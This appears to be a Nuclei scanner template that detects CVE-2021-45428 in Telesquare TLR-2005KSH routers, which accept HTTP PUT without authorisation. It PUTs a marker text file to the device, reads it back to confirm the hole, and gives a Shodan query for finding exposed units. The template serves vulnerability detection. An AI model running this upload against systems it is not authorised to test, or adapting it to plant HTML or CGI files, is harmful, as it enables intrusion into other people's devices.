id: CVE-2021-45428

info:
  name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload
  author: gy741
  severity: critical
  description: |
    TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats.
  remediation: |
    Apply the latest security patch or update to a version that addresses the arbitrary file upload vulnerability.
  reference:
    - https://drive.google.com/file/d/1wM1SPOfB9mH2SES7cAmlysuI9fOpFB3F/view?usp=sharing
    - http://packetstormsecurity.com/files/167101/TLR-2005KSH-Arbitrary-File-Upload.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45428
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-45428
    cwe-id: CWE-639
    epss-score: 0.08441
    epss-percentile: 0.93587
    cpe: cpe:2.3:o:telesquare:tlr-2005ksh_firmware:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: telesquare
    product: tlr-2005ksh_firmware
    shodan-query: http.html:"TLR-2005KSH"
  tags: cve,cve2021,telesquare,intrusive,fileupload,packetstorm

http:
  - raw:
      - |
        GET /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}
      - |
        PUT /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

        CVE-2021-45428
      - |
        GET /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    req-condition: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 404 && status_code_2 == 201'
          - 'contains(body_3, "CVE-2021-45428") && status_code_3 == 200'
        condition: and